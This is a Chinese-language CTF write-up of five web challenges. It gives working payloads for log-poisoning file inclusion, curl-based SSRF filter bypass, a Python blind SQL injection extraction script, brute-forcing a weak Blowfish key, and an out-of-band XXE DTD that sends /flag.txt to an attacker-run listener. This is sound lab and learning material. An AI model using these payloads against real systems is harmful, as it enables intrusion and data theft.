在菜鸡的道路上越走越远。。。淦!

签到_观己

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

?file=/flag.txt直接出答案。。这算个非预期解吧

另外的解法:文件包含Nginx日志文件、

?file=/var/log/nginx/access.log可读日志文件内容,里面包含用户访问的UA信息

于是

尝试命令执行

image-20200803211626102

随后cat /flag.txt即可

Web1_观字

题目给出源码

<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

payload/?url=http://192。168。7。68/flag

原因是curl中可以用替换.

另外,ip可以使用十进制进行访问,即http://3232237380/flag,但题目过滤了0

Web2_观星

url可以给id传值,当传入一个引号的时候回显enheng?,推测sql注入

FUZZ测试发现过滤了以下的内容(长度为533的)

未过滤^,考虑布尔盲注

payload:

id=1^case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end.format(i,j)

过滤了逗号,if无法使用则用case...when...then...else...end代替绕过,substr中的逗号用substr(...from...for...)代替绕过

接下来就可以写脚本了

import requests

url = 'http://dc894a39-ba77-4e9f-9201-e52d7a19ba5c.chall.ctf.show/index.php?id=1^'
# payload = 'case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end'   web1
# payload = 'case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())))from({0})for(1))))when({1})then(2)else(3)end'    flag,page,user
# payload = 'case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)regexp(0x666C6167)))from({0})for(1))))when({1})then(2)else(3)end'    FLAG_COLUMN,flag
payload = 'case(ord(substr((select(flag)from(flag))from({0})for(1))))when({1})then(2)else(3)end'
flag = ''

for i in range(1, 128):
    for j in range(38, 126):
        urls = url+payload.format(i, j)
        request = requests.get(urls)
        if 'I asked nothing' in request.text:
            flag += chr(j)
            print(flag)
            break

Web3_观图

showImage.php可看到源码

<?php

//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?>

图片链接为/showImage.php?image=Z6Ilu83MIDw=

可以看到图片文件名是Z6Ilu83MIDw=经过bf-ecb算法用$key得到的,再看$key的生成方式

substr(md5('ctfshow'.rand()),3,8);

查询rand()函数,若里面的参数为空,则返回0getrandmax()之间的伪随机整数

getrandmax()函数返回随机数可能返回的最大值,既然有上限即可进行爆破来得出key

脚本如下:

<?php
    for($i=0;$i<getrandmax();$i++){
        $key = substr(md5('ctfshow'.$i),3,8);  //5a78dbb4
        $image="Z6Ilu83MIDw=";
        $str = openssl_decrypt($image, 'bf-ecb', $key);
        if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
            print($str."\n");
            print($i."\n");
            print($key."\n");
            break;
        }
    }
    $flag = openssl_encrypt('config.php', 'bf-ecb', '5a78dbb4');
    print($flag);

得到N6bf8Bd8jm0SpmTZGl0isw==,为config.php加密后的base64码,访问/showImage.php?image=N6bf8Bd8jm0SpmTZGl0isw==,F12打开复制代码base64解密得到config.php的内容,flag即在其中。

Web4_观心

抓包发现有api.php文件,并且带有请求apicity两个数据

api携带的是一个网址,是一个xml文件,由此判断考的应该是XXE外部实体注入

于是构建攻击环境

在公网服务器上编写两个文件

xxe.xml

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY % dtd SYSTEM "http://ip/xxe.dtd">
	%dtd;
]>
<root>
	<user>woojay</user>
	<pass>password</pass>
</root>

xxe.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xx:5000/%file;'>">
%int;
%send;

随后在服务器上监听5000端口,即可得到flag.txtbase64编码后的结果,解码既是flag

不监听端口也可以,直接发包请求,会把报错的结果返回,如下:

XXE这块不是很了解,原理后面再仔细研究一下